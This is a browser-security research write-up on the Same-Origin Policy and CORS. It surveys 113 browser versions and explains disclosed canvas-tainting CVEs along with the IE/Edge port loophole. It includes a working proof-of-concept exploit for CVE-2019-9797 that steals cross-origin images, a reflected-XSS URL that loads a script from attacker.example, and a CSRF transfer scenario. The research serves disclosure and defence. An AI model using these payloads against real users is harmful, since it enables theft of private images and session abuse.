Same-Origin Policy: From birth until today
The author found that the latest versions of Chrome, Firefox and Opera allow JavaScript to read tainted canvases rendered from cross-origin images, and that all versions of Internet Explorer and Edge have an unsafe same-origin policy when the target origin differs only by port number. An attacker could use these flaws to steal sensitive images via cross-site request forgery.
Published on research.aurainfosec.io
In this blog post I will talk about Cross-Origin Resource Sharing (CORS) between sites on different domains, and how the web browser’s Same Origin Policy is meant to facilitate CORS in a safe way. I will present data on cross-origin behaviour of various versions of four major browsers, dating back to 2004.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Context
This is a research write-up about the browser Same Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS), and about how the two interact when a page on one origin tries to read data from another. The work covers two things: a historical survey of how 113 browser versions from 2004 onwards behaved when making cross-origin requests, and three security bugs the author found in the then-current versions of Firefox, Chrome and Opera. Those bugs allowed an attacker page to steal sensitive images from a victim's authenticated session via Cross-Site Request Forgery (CSRF).
The bugs are tracked as CVE-2018-18511, CVE-2019-5814 and CVE-2019-9797.
To frame the problem, the article starts with the classic CSRF scenario. A malicious user, Eve, has an account at bank.example with account number 123456. She wants to take money from another customer, Bob, and knows the HTTP request Bob's browser would send to transfer $10000 to her. She hosts a page at https://evil-eve.example/how-to-delete-yourself-from-the-internet containing an HTML form that corresponds to that POST request. When Bob visits the page, the form submits automatically and carries Bob's PHPSESSID cookie if he has logged in to the bank recently, so the transfer goes through.
The article lists the usual defences against this. Relying on the browser and its SOP only works if the application refuses requests sent via HTML forms, that is requests with content type application/x-www-form-urlencoded, multipart/form-data or text/plain and no non-standard HTTP headers. The SOP only applies to actions taken by JavaScript and other browser-scripting languages; it does not apply to old-school HTML forms, so browsers cannot block form submissions from untrusted domains. Requests carrying JSON or non-standard headers such as X-Requested-With can only be sent via JavaScript, and the browser performs a preflight check first. Unless the target domain explicitly allows the request from the origin domain, the browser does not send the actual request. The target has to respond with the right CORS headers for the SOP to be effective.
Setting cookies with the SameSite flag prevents the attack described, but only in modern browsers, and it does not prevent unauthenticated CSRF against sites on an internal network or sites that rely on IP whitelisting for authorisation. The legitimate server instructs the browser to include the session cookie only when the request comes from the same origin, and the browser respects this for HTML form submissions too. One-time tokens generated per action can prevent CSRF regardless of HTTP method and submission type, but they have pitfalls: the token must be issued, required and validated on every request; the server still needs an appropriate CORS policy so malicious sites cannot learn the token; and the token must be generated with a cryptographically secure random source, be long enough, short-lived and tied to the user's session, invalidated on logout.
Setup
An origin is defined by scheme (protocol), hostname and port, for example https://bank.example:443. Per RFC 6454, two origins are the same only if the protocol matches, the hostname matches (it can be partially qualified, such as localhost, or an IP address) and the port matches. The port does not have to be written explicitly: https://bank.example:443 and https://bank.example are the same origin because 443 is the default for https. A hostname does not have to resolve to the same IP address on every request, which is what makes DNS rebinding possible.
CORS requires browsers to include the Origin header on cross-origin requests and to omit cookies unless explicitly requested, for example by setting XMLHttpRequest.withCredentials to true. A request is simple if all of the following hold: the method is GET, HEAD or POST; it has no non-standard headers; and it submits application/x-www-form-urlencoded, multipart/form-data or text/plain content. For a simple request the browser may send it, but must not let JavaScript read the response unless the server's CORS policy allows it. For a non-simple request the browser must first send a preflight check using the OPTIONS method with the appropriate CORS headers, and must refuse to send the actual request unless the server explicitly allows it.
A preflight check has an empty body, includes no cookies, and carries Access-Control-Request-Method with the method of the intended request, plus Access-Control-Request-Headers with a comma-separated list of any non-standard headers. Servers answer with:
Access-Control-Allow-Origin: a single allowed origin or*for all origins; the value may depend on the request'sOrigin.Access-Control-Allow-Credentials: whether the browser may send cookies; defaults tofalseif omitted; cannot betruewhenAccess-Control-Allow-Originis*.Access-Control-Allow-Headers: comma-separated list of allowed headers.
The article also explains why GET is treated as safe. Preflight checks and the SOP ensure that DELETE, PUT, PATCH and non-simple POST requests are never sent to a third-party domain unless the server explicitly allows that domain. GET is different. A Like button on a hypothetical social site, FakeBook, links to https://fakebook.example/like?page=HTTPSEverywhere, and clicking it sends a GET with the user's session cookie. A malicious site, windywellington.example, can redirect Bob to https://fakebook.example/like?page=WindyWellington, and the browser sees nothing wrong because redirects to third-party domains are legitimate. The target cannot tell whether Bob clicked the button himself. Blocking external Referer or using tokens does not work if Like buttons are meant to be embedded on other sites. Browsers are not supposed to block redirects by default, and a malicious site can also embed the URL in an iframe, load it as a script, image or other resource, or use an HTML form with the GET method. In none of these cases can the browser or the target detect the intent. This is why RFC 7231 says GET should always be safe, that is never change application data, and why browsers are not required to preflight GET. Many sites neglect this and fall victim to CSRF. The article notes that facebook.com is not vulnerable in this way.
Browsers tested
The author tested 17 versions of Opera, 16 of Firefox, 40 of Chrome, 39 of Internet Explorer and one of Microsoft Edge: 113 browsers in total, dating back to 2004. All were tested with default settings.
Opera, one version per year as far back as XMLHttpRequest is supported:
- Opera 7.50 build 3778 (May 2004)
- Opera 8.50 build 7700 (Sep 2005)
- Opera 9.00 build 8501 (Jun 2006)
- Opera 9.20 build 8771 (Apr 2007)
- Opera 9.60 build 10447 (Oct 2008)
- Opera 10.00 build 1750 (Sep 2009)
- Opera 10.10 build 1893 (Nov 2009)
- Opera 10.50 build 3296 (Mar 2010)
- Opera 11.00 build 1156 (Dec 2010)
- Opera 11.52 build 1100 (Oct 2011)
- Opera 12.10 build 1652 (Nov 2012)
- Opera 17.0.1241.45 (Oct 2013)
- Opera 24.0.1558.53 (Sep 2014)
- Opera 32.0.1948.25 (Sep 2015)
- Opera 40.0.2308.54 (Sep 2016)
- Opera 48.0.2685.32 (Sep 2017)
- Opera 56.0.3051.116 (Sep 2018)
Versions 11.00 to 12.18 and 15.0 and above come from the official Opera archives; versions before 11.00 came from the third-party site oldversion.com, and the author disclaims responsibility for loss from installing software from unofficial sources. These were run on a virtual machine.
Firefox, roughly one version per year (version 1.5 from 2005 was skipped due to technical issues running the binary):
- Firefox 1.0 (Nov 2004)
- Firefox 2.0 (Oct 2006)
- Firefox 3.0 (Jun 2008)
- Firefox 3.5 (Jun 2009)
- Firefox 3.6 (Jan 2010)
- Firefox 4.0 (Mar 2011)
- Firefox 5.0 (Jun 2011)
- Firefox 10.0 (Jan 2012)
- Firefox 18.0 (Jan 2013)
- Firefox 27.0 (Feb 2014)
- Firefox 35.0 (Jan 2015)
- Firefox 44.0 (Jan 2016)
- Firefox 52.0 (Mar 2017)
- Firefox 58.0 (Jan 2018)
- Firefox 63.0 (Oct 2018)
- Firefox 65.0 (Jan 2019)
All Firefox versions came from the official archive.
Chrome (Chromium) used the ready Windows builds from Chromium's continuous and snapshots archives. Stable releases were not tested specifically because the archives do not indicate which version a build corresponds to; instead the author picked roughly one out of every 2000 builds, oldest to newest. The dates are approximate and correspond to the release date of the matching stable major version:
- Chrome 0.2.150.0 (build 1625, Sep 2008)
- Chrome 0.3.155.0 (build 4054, Oct 2008)
- Chrome 0.5.155.0 (build 6573, Dec 2008)
- Chrome 2.0.157.0 (build 8000, May 2009)
- Chrome 2.0.160.0 (build 9018, May 2009)
- Chrome 2.0.165.0 (build 10008, May 2009)
- Chrome 2.0.173.0 (build 13007, May 2009)
- Chrome 2.0.178.0 (build 15037, May 2009)
- Chrome 3.0.187.0 (build 18037, Oct 2009)
- Chrome 4.0.205.0 (build 25013, Jan 2010)
- Chrome 5.0.338.0 (build 40103, May 2010)
- Chrome 7.0.501.0 (build 56985, Oct 2010)
- Chrome 13.0.772.0 (build 86075, Aug 2011)
- Chrome 16.0.906.0 (build 105136, Dec 2011)
- Chrome 18.0.998.0 (build 116631, Mar 2012)
- Chrome 20.0.1103.0 (build 132352, Jun 2012)
- Chrome 21.0.1169.0 (build 141354, Jul 2012)
- Chrome 23.0.1232.0 (build 150969, Nov 2012)
- Chrome 24.0.1294.0 (build 161613, Jan 2013)
- Chrome 26.0.1401.0 (build 180186, Mar 2013)
- Chrome 29.0.1539.0 (build 206377, Aug 2013)
- Chrome 31.0.1631.0 (build 223221, Nov 2013)
- Chrome 34.0.1758.0 (build 242345, Apr 2014)
- Chrome 37.0.2046.0 (build 276657, Aug 2014)
- Chrome 40.0.2199.0 (build 301085, Jan 2015)
- Chrome 42.0.2290.0 (build 313413, Apr 2015)
- Chrome 44.0.2386.0 (build 327302, Jul 2015)
- Chrome 46.0.2485.0 (build 343611, Oct 2015)
- Chrome 49.0.2586.0 (build 363859, Mar 2016)
- Chrome 51.0.2683.0 (build 381909, May 2016)
- Chrome 52.0.2716.0 (build 389148, Jul 2016)
- Chrome 55.0.2860.0 (build 418349, Dec 2016)
- Chrome 58.0.3008.0 (build 449389, Apr 2017)
- Chrome 61.0.3142.0 (build 482288, Sep 2017)
- Chrome 64.0.3279.0 (build 519221, Jan 2018)
- Chrome 67.0.3387.0 (build 547516, May 2018)
- Chrome 69.0.3480.0 (build 571853, Sep 2018)
- Chrome 71.0.3549.0 (build 590119, Dec 2018)
- Chrome 72.0.3617.0 (build 609737, Jan 2019)
- Chrome 74.0.3695.0 (build 629061, Jan 2019)
The author wrote a script that can fetch a list of all builds for a platform (for example Win_x64/) or download the portable version of a given build (for example Win/10008).
Internet Explorer: every major version as far back as XMLHttpRequest is supported. IE11 on Windows 10 behaves differently from IE11 on older Windows versions even with the latest patches, so three versions of IE11 on Windows 10 were tested, one on Windows 7, and all 31 versions of IE11 on Windows 8.1 (initial plus the 30 cumulative updates):
- IE 7.0.6002.18005 (Windows Vista, 2006)
- IE 8.0.7601.17514 (Windows 7, Mar 2009)
- IE 9.0.8112.16421 (Windows 7, Mar 2011)
- IE 10.0.9200.17609 (Windows 7, Jan 2016, KB3124275, MS16-001)
- IE 11.0.9600.18860 (Windows 7, Dec 2017, KB4052978)
- IE 11.0.XXXX.XXXXX (Windows 8.1, initial plus all 30 updates from April 2016 to Jan 2019)
- IE 11.1.17134.0 (Windows 10, Oct 2017, KB4040685)
- IE 11.407.17134.0 (Windows 10, Nov 2018, KB4466536)
- IE 11.471.17134.0 (Windows 10, Dec 2018, KB4470199)
Microsoft Edge: only one recent version, Microsoft Edge 42.17134.1.0 (Apr 2018).
Virtual machines for IE 8 to 11 and for Edge came from Microsoft's developer site; Hyper-V images came from Microsoft's download site and can be imported into VirtualBox and exported to OVF for VMware.
Test setup
The author wrote an HTTP server based on Python's http.server, plus supporting HTML and JavaScript. The server implements a dummy login and requires a cookie issued by it for requests to any file under /secret/. The CORS headers in each response are taken from URL parameters:
creds:0or1, requestingAccess-Control-Allow-Credentials: trueorfalse.origin: setsAccess-Control-Allow-Origin; taken literally unless it is{ECHO}, in which case it is copied from the request'sOriginheader.
/demos/sop/getSecret.html prompts for the target origin (which should differ from the one it is loaded from), logs in to it, and fetches https://<target_host>/secret/<secret file>?origin=...&creds=... once for each of the five CORS header combinations and each of the eight cross-origin request methods.
Each request was submitted five times, once per Access-Control-Allow-* combination. In the table of combinations, "{as requested}" means the server specifically allowed the origin the request came from, "Yes" means the header had value true, and "No" means false.
The eight cross-origin request and data exfiltration methods were also tabulated. iframe and object do not support CORS, so the browser should always refuse access to them even if the server would allow a GET for the resource.
Where the method used a canvas, the secret file was an image; otherwise it was a plain text file. Each test ran twice: once against an origin with a different hostname (the IP address of a different interface on the same machine), and once against an origin with the same hostname or IP but a different port. That gives 8 × 5 × 2 = 80 tests per browser.
Finding it
The survey found that when the target origin differed by hostname, most browsers were either compliant or refused the request, which is the safe fallback when CORS is not supported. The notable exception was the then-current versions of Chrome, Firefox and Opera, which allowed JavaScript to read so-called tainted canvases: canvases rendered from an image that was not loaded for cross-origin use, that is without a crossorigin attribute. The author discovered this bug during the research and reported it to Google and Mozilla; it became CVE-2018-18511. A few very old Chrome versions also failed to apply the CORS policy to XMLHttpRequests.
When the target origin differed only by port number, the picture was worse. In addition to the browsers above, all versions of Internet Explorer and Edge, including the latest, had an unsafe SOP policy. Edge allowed exporting tainted bitmap canvases only in this case, when the origins are on the same host.
Exploitation
Step 1: render a cross-origin image into a canvas
The attacker page loads an image from the victim's origin. The browser sends the cookies it holds for that domain when loading images from it, so an authenticated victim's browser fetches the image with their session. The image is drawn into a canvas. Normally the canvas becomes tainted and the browser refuses to let JavaScript read it back.
Step 2: export the tainted canvas
In the affected versions of Chrome, Firefox and Opera, the tainted canvas could be exported anyway. The attacker only needs the URL of the image. The image can be anything: a personal photo, a scanned document, or the QR code for a two-factor authentication secret. This is CSRF where the browser, not the server, was supposed to prevent it.
Step 3: work around the first Firefox fix with an ImageBitmap in a 2D canvas
Mozilla fixed CVE-2018-18511 within days and pushed an update. Days later the author found an alternative way to get the image, CVE-2019-9797: convert the image to an ImageBitmap again, but render it in a 2D canvas instead of a bitmap canvas. The proof of concept:
<html><body>
<script charset="utf-8">
function getData() {
createImageBitmap(this, 0, 0, this.naturalWidth,
this.naturalHeight).then(function(bmap) {
var can = document.createElement('canvas');
// mfsa2019-04 fixed this
// --------------------------
// var ctx = can.getContext('bitmaprenderer');
// ctx.transferFromImageBitmap(bmap);
// --------------------------
// but not this
var ctx = can.getContext('2d');
ctx.drawImage(bmap, 0, 0);
document.getElementById('result').textContent = can.toDataURL();
var img = document.getElementById('result_render');
img.src = can.toDataURL();
document.body.appendChild(img);
}); }
</script>
<img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
<br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
<br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>
The hidden <img> loads a cross-origin image and calls getData on load. createImageBitmap turns the image into an ImageBitmap. The commented-out block is the path that mfsa2019-04 fixed: a bitmaprenderer context with transferFromImageBitmap. The live path takes a 2d context and calls drawImage(bmap, 0, 0), then reads the canvas back with toDataURL() into the textarea and into a visible <img>. Mozilla fixed this quickly too, and the fix reached the stable branch on 1 April. Chrome was not vulnerable to this version of the exploit.
Step 4: exploit the same-host, different-port gap in IE and Edge
Internet Explorer and Edge do not treat origins on the same host but different ports as distinct, at least not as distinct as origins with different hostnames. This is not new and not accidental. The Mozilla Developer Guide documents two major exceptions to the same-origin policy in IE: Trust Zones, where both domains in the highly trusted zone (for example corporate intranet domains) are not subject to same-origin limitations, and Port, where IE does not include the port in same-origin checks, so https://company.com:81/index.html and https://company.com/index.html are considered the same origin with no restrictions. The guide also states that these exceptions are nonstandard and unsupported in any other browser.
The Windows 10 changes improve IE's security but were applied inconsistently and insufficiently. They are not available for older Windows versions that still receive security updates. They close the loophole in XMLHttpRequest but still allow cross-origin access via iframe, and data from another origin can also be stolen using object. The behaviour clearly violates the standard that all other browsers conform to.
The author illustrates the consequences with a hypothetical. A simple public website holds no sensitive data and implements no authentication, so little attention is paid to its secure implementation. A page on it, /vulnerable.html, is vulnerable to reflected XSS. The attacker tricks the site's developer into visiting:
http://localhost/vulnerable.html?search=<script%20src%3d"%2f%2fattacker.example%2fevil.js"><%2fscript>
The page reflects the search parameter and loads a script from http://attacker.example/evil.js. The JavaScript executes in the context of localhost, as if hosted on the site, and any requests it makes come from origin http://localhost. If a sensitive administrative panel sits on the same host on port 8080, is not reachable from the public network and does not allow cross-origin requests, then a developer using IE or Edge gives evil.js full access to the panel. If the developer is not logged in to the panel, the script may attempt to brute force accounts on it. If the developer is logged in, the script can read any data from the panel or take any action at the developer's privilege level. The author's conclusion is "do not use IE or Edge".
Root cause
The tainted-canvas bug was introduced sometime in 2018 in Chrome, Firefox and Opera. The browser is supposed to prevent JavaScript from reading back a canvas that was drawn from an image loaded without CORS permission, because the image was fetched with the user's cookies. In the affected versions that restriction was missing or bypassable, so the export succeeded. In Firefox the first fix covered the bitmaprenderer path but not the 2d path, which is why the second variant worked.
In Chrome, the issue was not treated as a priority because it was not exploitable due to another bug: toDataURL() and toBlob() returned a generic transparent image for bitmap canvases. Google eventually fixed both, the canvas export and the transparent-image bug, and assigned CVE-2019-5814.
For IE and Edge, the root cause is a deliberate design exception: the port is not part of the same-origin check, so every service on a host shares one origin. The Windows 10 changes only partially close the gap, leaving iframe and object as channels.
Impact
For the canvas bugs, an attacker who knows the URL of an image can steal it from any user who is logged in to the site hosting it and visits the attacker's page. The image can be a personal photo, a scanned document or a two-factor authentication QR code. The attack is CSRF in which the browser was responsible for the defence.
For IE and Edge, treating all ports on a host as one origin exposes every service on that host once any one of them is compromised. In the XSS example, a script running in the context of http://localhost can reach an administrative panel on port 8080 that is otherwise not publicly accessible, either to brute force accounts or, if the developer is logged in, to read data and act with the developer's privileges.
Fix
Mozilla fixed CVE-2018-18511 within days and shipped an update. After the second report, CVE-2019-9797, Mozilla fixed that quickly too, with the fix reaching the stable branch on 1 April. Google fixed the canvas export bug and the transparent-image bug and assigned CVE-2019-5814. The article does not describe the code changes themselves.
For users, the author's conclusion is not to use IE or Edge.
Variants to test
- Tainted canvas export through a 2D context. Load a cross-origin image without a
crossoriginattribute, convert it withcreateImageBitmap, draw it into a2dcanvas and calltoDataURL(). - Tainted canvas export through a bitmap renderer. Same setup, but use a
bitmaprenderercontext andtransferFromImageBitmap. A positive result is the same readable data URL. This is the path mfsa2019-04 closed. - Same host, different port. Serve a secret on one port and the attacker page on another port of the same host, then try
XMLHttpRequest,iframeandobject. - Different hostname. Repeat the same tests against an origin with a different hostname or IP.
- Old Chrome and
XMLHttpRequest. Test very old Chrome builds against a cross-originXMLHttpRequestwith a CORS policy that does not allow the origin.
Tools used
- The author's HTTP server, based on Python's simple HTTP server, published on GitHub and PyPI as
mixnmatchttp. - VMware Fusion, for running all of the browsers.
- Official Microsoft virtual machines for IE and Edge.
What happened, in plain words
Every time you use a website, your browser is doing something it never advertises: it decides which pages are allowed to talk to which other pages. That decision is made by a rule called the Same Origin Policy, or SOP. This article is a study of that rule. The author tested 113 different browser versions, going back to 2004, to see whether they followed the rule when one website tried to read data from another. Along the way she found three real security bugs in the browsers that were current at the time: Firefox, Chrome and Opera. Those bugs let a malicious website steal private images from a visitor who was logged in somewhere else.
The three bugs are tracked as CVE-2018-18511, CVE-2019-5814 and CVE-2019-9797. A CVE is a public catalogue number for a known security flaw, so people can look it up and track when it was fixed.

Before getting to the bugs, the article explains the attack they relate to: Cross-Site Request Forgery, usually shortened to CSRF. It is one of the most common problems found when testing web applications, and one of the hardest to defend against.
The attack: making Bob's browser do Eve's bidding
Here is the scenario the article uses. A malicious person, Eve, has an account at a fictional bank, bank.example, with account number 123456. She wants money from another customer, Bob. She knows exactly what request Bob's browser would send to the bank to transfer $10000 to her account. It looks like this:
Figure 1: An HTTP request vulnerable to CSRF
An HTTP request is simply a message your browser sends to a server, a bit like a filled-in form posted to a company. The important part here is that the request carries Bob's session cookie. A cookie is a small piece of data the bank gave Bob's browser when he logged in, and the browser shows it to the bank on every request so the bank knows who is asking. Think of it as a wristband you get at an event: show it at the door and you get in without proving who you are again.
Eve cannot read Bob's cookie, and she does not need to. She only needs Bob's browser to send the request. So she sets up a page at https://evil-eve.example/how-to-delete-yourself-from-the-internet with the following contents:
Figure 2: An HTML page which submits the request in Figure 1
HTML is the language web pages are written in. The page contains a form, the same kind of form you fill in to log in somewhere, and the form is built to match the POST request in Figure 1. A POST request is one that sends data to the server, as opposed to a GET request, which asks for a page or resource. The form submits itself automatically, without Bob clicking anything. When Bob visits Eve's page, hoping to erase past mistakes, his browser sends the transfer request to the bank, and because Bob logged in recently, his PHPSESSID cookie goes along with it. The bank sees a valid, logged-in request and moves the money.
The defence: how sites try to stop this
There are a few ways websites protect their users from this kind of attack. The article does not explain all of them in detail; OWASP's cheatsheet does that at a technical level. In short, there are two main techniques.
- Rely on the browser and its Same Origin Policy (SOP). This is the scenario the article investigates.
- Set cookies with the
SameSiteflag. - Use dynamic pages and generate one-time tokens for each action on the page, every time the page is reloaded.
If a request arrives without the right ticket, the server refuses it.
Option 1 only works if the application refuses requests sent via HTML forms. Those are requests with content type application/x-www-form-urlencoded, multipart/form-data or text/plain, and no non-standard HTTP headers. The reason is that the Same Origin Policy only applies to actions taken by JavaScript, the programming language that runs inside web pages. It does not apply to old-school HTML forms, so browsers cannot block form submissions from untrusted domains. Requests containing JSON data, a common data format, or non-standard headers such as X-Requested-With can only be sent via JavaScript. For those, the browser first sends a so-called preflight check, a question to the target server asking whether the request is allowed. Unless the check determines that the target domain, say bank.example, explicitly allows such requests from the origin domain, say evil-eve.example, the browser does not send the actual request. The bank has to answer with the right HTTP headers for the Same Origin Policy to be effective; the article covers those in the CORS headers section.
Option 2 prevents the attack described above, but only in modern browsers. It also does not prevent unauthenticated CSRF against websites on an internal network, or websites that rely on IP whitelisting for authorisation. IP whitelisting means only requests from a list of approved network addresses are allowed in. The method works like this: the legitimate server, bank.example, tells the browser to include the session cookie only if the request comes from the same origin, https://bank.example. The browser respects this during HTML form submissions too. So money transfers on bank.example work correctly, but the form hosted on evil-eve.example will not include Bob's session cookie when submitted, and the transfer fails.
Option 3 can prevent CSRF attacks that rely on any HTTP method and submission type, whether GET or POST, HTML form or JavaScript. But it has many pitfalls. The token needs to be issued, required and validated for every request. The server still needs an appropriate CORS policy so malicious sites cannot learn the token. And the token needs to be generated in a cryptographically secure random way, be long enough, short-lived and tied to the current user's session, meaning it is invalidated when the user logs out.
What CORS, SOP and preflight checks actually mean
An origin is defined by three things: a scheme (or protocol), a hostname and a port number. For example, https://bank.example:443. The protocol is the https part, the hostname is bank.example, and the port is 443, the numbered door on the server that the request knocks on. The standard, RFC 6454, says two origins are the same if and only if all of these are true:
- the protocol for both origins is the same, for example
https - the hostname for both origins is the same, for example
bank.example; the hostname can be only partially qualified, such aslocalhost, and it can also be an IP address - the port number for both origins is the same; the port does not have to be written explicitly, so
https://bank.example:443andhttps://bank.exampleare the same origin, because 443 is the default port forhttps
A hostname does not have to resolve to the same IP address on every request. That gap is what makes a DNS rebinding attack possible, where an attacker's domain name quietly starts pointing at a different machine.
Requests sent from one origin to a different one are called cross-origin requests. Historically, browsers flat out refused to let JavaScript make them. This was done for security reasons, namely to prevent CSRF. As web applications became more complicated and interconnected, the need for JavaScript-initiated cross-origin requests became obvious. To enable them safely, the standard for Cross-Origin Resource Sharing, CORS, was introduced.
CORS says that when making cross-origin requests, browsers must include the Origin header, a line in the request that says where the request came from, and must not include cookies unless explicitly requested, for example by setting XMLHttpRequest.withCredentials to true. XMLHttpRequest is the older JavaScript mechanism for fetching data in the background without reloading the page.
CORS also defines the concept of a simple request. A request is simple if all of these are true:
- the method is
GET,HEADorPOST - the request does not include non-standard headers
- it submits content of type
application/x-www-form-urlencoded,multipart/form-dataortext/plain, the types an HTML form can submit
If the request is simple, the browser can send it to the external origin, but if the server's CORS policy does not allow the request, the browser must not let JavaScript read the response. If the request is not simple, the browser must do a preflight check using the OPTIONS HTTP method with the appropriate CORS headers. If the server's CORS policy does not explicitly allow the request, the browser must refuse to send the actual request.
Servers receiving cross-origin requests must respond with appropriate CORS headers saying whether the request is allowed. This happens whether the request is a preflight check (OPTIONS) or the actual request, such as GET.
CORS headers
If no preflight check is done, browsers are only required to send the Origin header. Otherwise the preflight check should have an empty body, include no cookies, and include the Access-Control-Request-Method header with the method of the request to be made, for example GET. If non-standard headers are to be included, it must list them as a comma-separated string in the Access-Control-Request-Headers header.
Servers should respond to a cross-origin request with these headers:
Access-Control-Allow-Origin: either a single allowed origin or a wildcard (*) meaning all origins; servers may change the value depending on theOriginof the requestAccess-Control-Allow-Credentials: says whether the browser is allowed to send cookies with the request; if omitted, it defaults tofalse; it cannot betrueifAccess-Control-Allow-Originis*Access-Control-Allow-Headers: a comma-separated list of allowed headers
A picture table says a thousand words:
Table 1: The CORS standard
Why GET is supposed to be safe
Preflight checks and the Same Origin Policy make sure that requests which may modify sensitive data, such as DELETE, PUT, PATCH and non-simple POST requests, are never sent to the server from a third-party domain unless the server explicitly allows such a request from that particular domain.
You may then wonder why browsers do not apply the same rules to GET requests. After all, some servers implement, or at least allow, sensitive operations using GET. Take this hypothetical example: a Like button on a social media site, which the article calls FakeBook, placed under a page and linking to https://fakebook.example/like?page=HTTPSEverywhere. When a user clicks the button, the browser sends a GET request to that URL and includes the user's session cookie, so the server knows who liked the page. This is a classic CSRF that the browser cannot do anything about.
Bob, logged in to his FakeBook account, goes to windywellington.example to check the weather. That site is actually malicious and wants to collect likes on FakeBook, so it redirects Bob back to https://fakebook.example/like?page=WindyWellington. As far as the browser is concerned there is nothing wrong, because there are many legitimate cases where a site redirects to a third-party domain. And as far as fakebook.example is concerned, Bob may have clicked that Like button himself. Blocking external Referer headers, which say which page a request came from, or using tokens, will not work if Like buttons are meant to be integrated with other sites.
So what could the Same Origin Policy do about GET requests? Pretty much nothing. Browsers are not supposed to block redirects by default. And there are many other ways windywellington.example can trick the browser into requesting a resource from fakebook.example, including:
- embedding
https://fakebook.example/like?page=WindyWellingtonin an iframe, a small window inside a page that loads another page - loading it as a script, image or any other resource
- using an HTML form with the
GETmethod
In none of those cases can either the browser or fakebook.example detect the malicious intent. This is why the HTTP standard, RFC 7231, clearly states that GET requests should always be safe, meaning they never change web application data. It is also why browsers are not required to submit a preflight check for GET requests. Unfortunately many websites neglect this and fall victim to CSRF attacks like the hypothetical Like button scenario. The article notes that facebook.com is not vulnerable in this way.
How the browsers behaved
Browsers tested
The author tested 17 versions of Opera, 16 versions of Firefox, 40 versions of Chrome, 39 versions of Internet Explorer and one version of Microsoft Edge. That is 113 browsers in total, dating back to 2004. All were tested with their default settings.
Opera
One version per year, as far back as it supports XMLHttpRequest:
- Opera 7.50 build 3778 (May 2004)
- Opera 8.50 build 7700 (Sep 2005)
- Opera 9.00 build 8501 (Jun 2006)
- Opera 9.20 build 8771 (Apr 2007)
- Opera 9.60 build 10447 (Oct 2008)
- Opera 10.00 build 1750 (Sep 2009)
- Opera 10.10 build 1893 (Nov 2009)
- Opera 10.50 build 3296 (Mar 2010)
- Opera 11.00 build 1156 (Dec 2010)
- Opera 11.52 build 1100 (Oct 2011)
- Opera 12.10 build 1652 (Nov 2012)
- Opera 17.0.1241.45 (Oct 2013)
- Opera 24.0.1558.53 (Sep 2014)
- Opera 32.0.1948.25 (Sep 2015)
- Opera 40.0.2308.54 (Sep 2016)
- Opera 48.0.2685.32 (Sep 2017)
- Opera 56.0.3051.116 (Sep 2018)
Versions 11.00 to 12.18 and 15.0 and above can be downloaded from the official Opera archives. Versions before 11.00 can be found on the third-party site oldversion.com. The author does not take responsibility for any loss as a result of installing software from unofficial sources. The versions were run on a virtual machine, which is a computer simulated inside another computer, so old and possibly unsafe software can be run without touching the real machine.
Firefox
Roughly one version per year, except version 1.5 from 2005, which was skipped due to technical issues running the binary:
- Firefox 1.0 (Nov 2004)
- Firefox 2.0 (Oct 2006)
- Firefox 3.0 (Jun 2008)
- Firefox 3.5 (Jun 2009)
- Firefox 3.6 (Jan 2010)
- Firefox 4.0 (Mar 2011)
- Firefox 5.0 (Jun 2011)
- Firefox 10.0 (Jan 2012)
- Firefox 18.0 (Jan 2013)
- Firefox 27.0 (Feb 2014)
- Firefox 35.0 (Jan 2015)
- Firefox 44.0 (Jan 2016)
- Firefox 52.0 (Mar 2017)
- Firefox 58.0 (Jan 2018)
- Firefox 63.0 (Oct 2018)
- Firefox 65.0 (Jan 2019)
All versions of Firefox can be downloaded from the official archive.
Chrome (Chromium)
The author used the ready-made Windows builds from Chromium's continuous and snapshots build archives. Stable releases were not tested in particular, because the archives do not indicate which version a build corresponds to. Instead she selected one out of roughly every 2000 builds, from the oldest to the newest. The dates below are approximate and correspond to the release date of the matching stable major version:
- Chrome 0.2.150.0 (build 1625, Sep 2008)
- Chrome 0.3.155.0 (build 4054, Oct 2008)
- Chrome 0.5.155.0 (build 6573, Dec 2008)
- Chrome 2.0.157.0 (build 8000, May 2009)
- Chrome 2.0.160.0 (build 9018, May 2009)
- Chrome 2.0.165.0 (build 10008, May 2009)
- Chrome 2.0.173.0 (build 13007, May 2009)
- Chrome 2.0.178.0 (build 15037, May 2009)
- Chrome 3.0.187.0 (build 18037, Oct 2009)
- Chrome 4.0.205.0 (build 25013, Jan 2010)
- Chrome 5.0.338.0 (build 40103, May 2010)
- Chrome 7.0.501.0 (build 56985, Oct 2010)
- Chrome 13.0.772.0 (build 86075, Aug 2011)
- Chrome 16.0.906.0 (build 105136, Dec 2011)
- Chrome 18.0.998.0 (build 116631, Mar 2012)
- Chrome 20.0.1103.0 (build 132352, Jun 2012)
- Chrome 21.0.1169.0 (build 141354, Jul 2012)
- Chrome 23.0.1232.0 (build 150969, Nov 2012)
- Chrome 24.0.1294.0 (build 161613, Jan 2013)
- Chrome 26.0.1401.0 (build 180186, Mar 2013)
- Chrome 29.0.1539.0 (build 206377, Aug 2013)
- Chrome 31.0.1631.0 (build 223221, Nov 2013)
- Chrome 34.0.1758.0 (build 242345, Apr 2014)
- Chrome 37.0.2046.0 (build 276657, Aug 2014)
- Chrome 40.0.2199.0 (build 301085, Jan 2015)
- Chrome 42.0.2290.0 (build 313413, Apr 2015)
- Chrome 44.0.2386.0 (build 327302, Jul 2015)
- Chrome 46.0.2485.0 (build 343611, Oct 2015)
- Chrome 49.0.2586.0 (build 363859, Mar 2016)
- Chrome 51.0.2683.0 (build 381909, May 2016)
- Chrome 52.0.2716.0 (build 389148, Jul 2016)
- Chrome 55.0.2860.0 (build 418349, Dec 2016)
- Chrome 58.0.3008.0 (build 449389, Apr 2017)
- Chrome 61.0.3142.0 (build 482288, Sep 2017)
- Chrome 64.0.3279.0 (build 519221, Jan 2018)
- Chrome 67.0.3387.0 (build 547516, May 2018)
- Chrome 69.0.3480.0 (build 571853, Sep 2018)
- Chrome 71.0.3549.0 (build 590119, Dec 2018)
- Chrome 72.0.3617.0 (build 609737, Jan 2019)
- Chrome 74.0.3695.0 (build 629061, Jan 2019)
The author wrote a script that can fetch a list of all builds for a platform, for example Win_x64/, or download the portable version of a given build, for example Win/10008.
Internet Explorer
